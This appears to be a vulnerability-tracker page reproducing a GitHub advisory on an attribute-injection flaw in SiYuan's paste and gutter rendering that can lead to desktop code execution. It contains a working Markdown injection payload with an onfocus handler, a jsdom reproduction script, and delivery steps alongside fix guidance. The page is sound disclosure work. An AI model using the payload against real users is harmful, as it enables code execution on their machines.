llamaCVEVulnerability Intelligence
/
Advisory · GitHub

GHSA-2CMM-9X9J-RVFF

Plain-text Kramdown IAL paste causes gutter attribute injection and desktop RCE

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
9.6
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición71 dDesde la divulgación, 9 sept 2026, 11:37 p. m.
Detección71 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
10 sept 26
20 nov 26
10 sept 26
28 sept 26
15 oct 26
2 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-2CMM-9X9J-RVFF divulgada · CVSS 9.6 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Plain-text Kramdown IAL paste causes gutter attribute injection and desktop RCE

Summary

SiYuan v3.8.3 decodes attacker-controlled Kramdown IAL from ordinary `text/plain` Markdown and passes the resulting `data-subtype` to gutter-button HTML without attribute escaping. The browser reparses that value, allowing injected attributes such as `onfocus`; in the desktop configuration, Node integration is enabled and context isolation is disabled, so focusing the affected gutter control can execute attacker-supplied JavaScript with renderer Node.js privileges. The proof creates only an in-memory marker.

Technical Details

The source-to-sink path is bound to revision `8641553a1f07374001902d3ce773285db1292b2d`:

  1. `app/src/protyle/util/paste.ts:618-668` handles the paste event. Its ordinary-text branch at `1399-1442` calls the shared Lute Markdown renderer and inserts the resulting BlockDOM.
  2. `app/src/protyle/render/setLute.ts:110-114` creates the shared Lute instance with Kramdown IAL parsing enabled.
  3. `app/src/protyle/util/insertHTML.ts:900-930` parses and inserts the rendered block fragment through the application DOM.
  4. `app/src/protyle/gutter/index.ts:3752-3762` reads the pasted block's DOM attributes and passes `data-subtype` to the gutter-button generator.
  5. `app/src/protyle/gutter/button.ts:13-20` interpolates `options.subtype` into `data-subtype="${options.subtype}"` without HTML-attribute escaping.
  6. `app/src/protyle/gutter/index.ts:3850-3852` assigns the generated markup to `this.element.innerHTML`, causing a second DOM parse. The decoded quotes become markup boundaries and create new attributes.

The decisive route is `paste(text/plain) -> Lute Md2BlockDOM -> insertHTML -> DOM parser -> Gutter.render -> genGutterBlockButtonHTML -> gutter innerHTML`. The path reaches the Lute initializer, paste handler, fragment inserter, gutter renderer, button generator, browser DOM parser, and final `innerHTML` sink for both case A and case B.

The invariant violated is that attacker-influenced attribute data must remain one attribute value when it is serialized into another HTML fragment. A correct fix must escape every dynamic gutter attribute or construct the element with DOM setters instead of interpolating values into markup.

The impact is amplified by `app/electron/main.js:2022-2046`, where the main `BrowserWindow` enables Node integration and disables context isolation. The tested event handler is inert, but a real Electron focus event would execute the attacker-supplied handler in that privileged renderer.

PoV

Create a new directory and save two neutral fixtures there as `case-a.md` and `case-b.md`. The `case-a.md` input is:

paragraph

second paragraph
{: data-subtype="x" autofocus onfocus=globalThis.__probe_marker=1 data-pad="y"}

The same-route baseline in `case-b.md` is:

paragraph

second paragraph
{: data-subtype="plain-text"}

For `case-a.md`, the rendered block contains an entity-encoded `data-subtype`; reading it after the first DOM parse yields `x" autofocus onfocus=globalThis.__probe_marker=1 data-pad="y`. The unescaped gutter template therefore parses the relevant attributes as `data-subtype=x`, `autofocus=""`, `onfocus=globalThis.__probe_marker=1`, and `data-pad=y`. `case-b.md` remains a single `data-subtype=plain-text` attribute and creates neither `autofocus` nor `onfocus`.

PoC

The following standalone reproduction isolates the two browser parses at the serialization boundary. The decisive run used Node.js `v26.8.1` with `jsdom 26.1.0`. Starting from a fresh parent directory, run this copy-pastable transcript; it creates `case-a.md`, `case-b.md`, and `reproduce.mjs`:

workdir="$(mktemp -d)"
cd "$workdir"
mkdir kramdown-gutter-repro
cd kramdown-gutter-repro
test "$(node --version)" = "v26.8.1"
npm init -y
npm install --no-save jsdom@26.1.0

cat > case-a.md <<\__CASE_A__
paragraph

second paragraph
{: data-subtype="x&quot; autofocus onfocus=globalThis.__probe_marker=1 data-pad=&quot;y"}
__CASE_A__

cat > case-b.md <<\__CASE_B__
paragraph

second paragraph
{: data-subtype="plain-text"}
__CASE_B__

cat > reproduce.mjs <<\__REPRO_MJS__
import fs from "node:fs";
import {JSDOM} from "jsdom";

const [inputPath] = process.argv.slice(2);
if (!inputPath) throw new Error("usage: node ./reproduce.mjs ./case-a.md");

const input = fs.readFileSync(inputPath, "utf8");
const match = input.match(/data-subtype="([^"]*)"/);
if (!match) throw new Error("data-subtype fixture is missing");

const firstDOM = new JSDOM(`<div data-subtype="${match[1]}"></div>`);
const subtype = firstDOM.window.document.querySelector("div").getAttribute("data-subtype");

const secondDOM = new JSDOM(`<button data-subtype="${subtype}"></button>`);
const button = secondDOM.window.document.querySelector("button");
const names = ["data-subtype", "autofocus", "onfocus", "data-pad"];
const gutterAttributes = Object.fromEntries(
    names.filter(name => button.hasAttribute(name)).map(name => [name, button.getAttribute(name) ?? ""]),
);
const signal = button.getAttribute("onfocus") ?? "";

console.log(JSON.stringify({
    result: signal ? "violation" : "pass",
    signal,
    pasted_subtype: subtype,
    gutter_attributes: gutterAttributes,
}, null, 2));
__REPRO_MJS__

From that directory, execute both inputs:

node ./reproduce.mjs ./case-a.md
node ./reproduce.mjs ./case-b.md

The first Node.js invocation prints:

{
  "result": "violation",
  "signal": "globalThis.__probe_marker=1",
  "pasted_subtype": "x\" autofocus onfocus=globalThis.__probe_marker=1 data-pad=\"y",
  "gutter_attributes": {
    "data-subtype": "x",
    "autofocus": "",
    "onfocus": "globalThis.__probe_marker=1",
    "data-pad": "y"
  }
}

The second Node.js invocation prints:

{
  "result": "pass",
  "signal": "",
  "pasted_subtype": "plain-text",
  "gutter_attributes": {
    "data-subtype": "plain-text"
  }
}

The source locations in Technical Details identify the application code that supplies `subtype`; this reproduction makes the final serialization failure directly executable without requiring the desktop interface.

Impact

An attacker can distribute ordinary Markdown containing the entity-delimited Kramdown attribute, induce a victim to paste it into a SiYuan note, and wait for the affected block's gutter control to be rendered or focused. The second parse creates an attacker-controlled inline event handler. In the desktop configuration tested at the pinned revision, that handler executes in a Node-integrated renderer with context isolation disabled, so successful exploitation could read or modify local files, launch child processes, and compromise the user's workspace.

This is CWE-79. The CVSS v3.1 vector is `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` (9.6 Critical): delivery requires no attacker privilege, user paste/focus interaction is required, the injected code crosses into the desktop application's authority, and that authority exposes high confidentiality, integrity, and availability impact.

The proof stops at creation of the event-handler attribute and an inert marker. It does not launch a child process or claim a full packaged-Electron end-to-end exploit. It covers the shipped text paste, Lute, insertHTML, DOM parsing, gutter rendering, and gutter-button generation route at the pinned revision, with a passing baseline.

Suggested Fix

Stop interpolating `options.subtype` and other dynamic values into the string returned by `genGutterBlockButtonHTML`. Construct the button and its descendants as DOM nodes, set attributes with `setAttribute`, and set text with `textContent`. If a string template must remain, HTML-attribute-escape every dynamic attribute value before concatenation, including `ariaLabel`, `type`, `subtype`, `nodeID`, `embedID`, `viewOccurrenceID`, and `icon`, and constrain any raw `popoverHTML` separately.

Add a regression test that sends both fixtures through Lute, the ordinary text paste path, `insertHTML`, the DOM decode/read step, `Gutter.render`, and the gutter `innerHTML` sink. Assert that the parsed case-A button has no attacker-created `autofocus`, `onfocus`, or `data-pad` attributes after the fix. Cover literal quotes, `&quot;`, single quotes, ampersands, and angle brackets across each dynamic gutter attribute.

As defense in depth, restrict Kramdown IAL keys and values accepted from ordinary external clipboard text so internal `data-*` fields cannot be attacker-defined. Also disable `nodeIntegration`, enable `contextIsolation`, and remove remote access from the main window where compatible; these reduce consequences but do not replace fixing the serialization sink.

Affected Package/Versions

  • Package: `siyuan-note/siyuan`
  • Tested package: `SiYuan` v3.8.3
  • Tested version: `v3.8.3`
  • Tested revision: `8641553a1f07374001902d3ce773285db1292b2d`
  • Patched versions: none established

Only the pinned v3.8.3 revision was tested. No earlier introduction point, broader vulnerable range, or fixed boundary is claimed.

Advisory History

Checks of the public issue, pull-request, commit, and fix history, together with the prior submitted, ready-for-review, and completed-but-unsubmitted report set, found no exact duplicate or matching gutter serialization fix.

GHSA-556j-q8c8-qqg3 is a current same-family precedent, but it follows a distinct stored gallery/kanban field-description-to-row-renderer path: a database column description is stored, reflected into an `aria-label` by the gallery and kanban row renderers, and inserted through `innerHTML`. This finding instead starts with ordinary `text/plain` Markdown, uses Kramdown IAL entity decoding to populate `data-subtype`, and reaches gutter-button HTML on focus. Its fix surface is gallery/kanban field-description escaping, whereas this finding requires gutter-button attribute serialization to be escaped.

GHSA-9rr9-pxr4-gcgc, “Clipboard format spoofing from a web page's copy event bypasses paste sanitization and leads to remote code execution in the desktop app,” concerns direct insertion of forged internal `text/siyuan` HTML and a special trailing-ZWSP plain-text route. The pinned source explicitly sanitizes that internal clipboard HTML. This finding starts with ordinary `text/plain` Markdown, relies on Kramdown IAL entity decoding, and creates executable markup only at the later gutter-button serialization sink.

GHSA-jjq3-3942-x99r is another close family precedent because attacker-controlled document metadata is reflected into a path-picker tooltip attribute and can reach desktop RCE on hover. The boundaries differ: this issue uses pasted plain text and a Kramdown `data-subtype`, reaches a gutter-button `innerHTML` sink on focus, and requires a dynamic gutter-attribute fix rather than path-picker tooltip encoding.

These differences preserve the conclusion that the available project history contains no exact duplicate of this ordinary-text Kramdown-to-gutter root cause, and no broader version range or fixed version was established.

References

  • `paste.ts` ordinary clipboard entry and Markdown conversion at the tested revision https://github.com/siyuan-note/siyuan/blob/8641553a1f07374001902d3ce773285db1292b2d/app/src/protyle/util/paste.ts#L618-L668
  • `paste.ts` ordinary text-to-BlockDOM insertion https://github.com/siyuan-note/siyuan/blob/8641553a1f07374001902d3ce773285db1292b2d/app/src/protyle/util/paste.ts#L1399-L1442
  • `setLute.ts` enabling Kramdown IAL https://github.com/siyuan-note/siyuan/blob/8641553a1f07374001902d3ce773285db1292b2d/app/src/protyle/render/setLute.ts#L110-L114
  • `insertHTML.ts` shipped fragment insertion https://github.com/siyuan-note/siyuan/blob/8641553a1f07374001902d3ce773285db1292b2d/app/src/protyle/util/insertHTML.ts#L900-L930
  • `gutter/index.ts` reading `data-subtype` and invoking the button generator https://github.com/siyuan-note/siyuan/blob/8641553a1f07374001902d3ce773285db1292b2d/app/src/protyle/gutter/index.ts#L3752-L3762
  • `button.ts` raw dynamic-attribute interpolation https://github.com/siyuan-note/siyuan/blob/8641553a1f07374001902d3ce773285db1292b2d/app/src/protyle/gutter/button.ts#L13-L20
  • `gutter/index.ts` final `innerHTML` sink https://github.com/siyuan-note/siyuan/blob/8641553a1f07374001902d3ce773285db1292b2d/app/src/protyle/gutter/index.ts#L3850-L3852
  • `main.js` privileged main-window configuration https://github.com/siyuan-note/siyuan/blob/8641553a1f07374001902d3ce773285db1292b2d/app/electron/main.js#L2022-L2046
  • GHSA-556j-q8c8-qqg3 https://github.com/siyuan-note/siyuan/security/advisories/GHSA-556j-q8c8-qqg3
  • GHSA-jjq3-3942-x99r https://github.com/siyuan-note/siyuan/security/advisories/GHSA-jjq3-3942-x99r
  • GHSA-9rr9-pxr4-gcgc https://github.com/siyuan-note/siyuan/security/advisories/GHSA-9rr9-pxr4-gcgc

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Remediación

Estado del parche por paquete

La fuente no informa paquetes ni versiones corregidas.

Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/siyuan-note/siyuan/security/advisories/GHSA-2cmm-9x9j-rvff

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.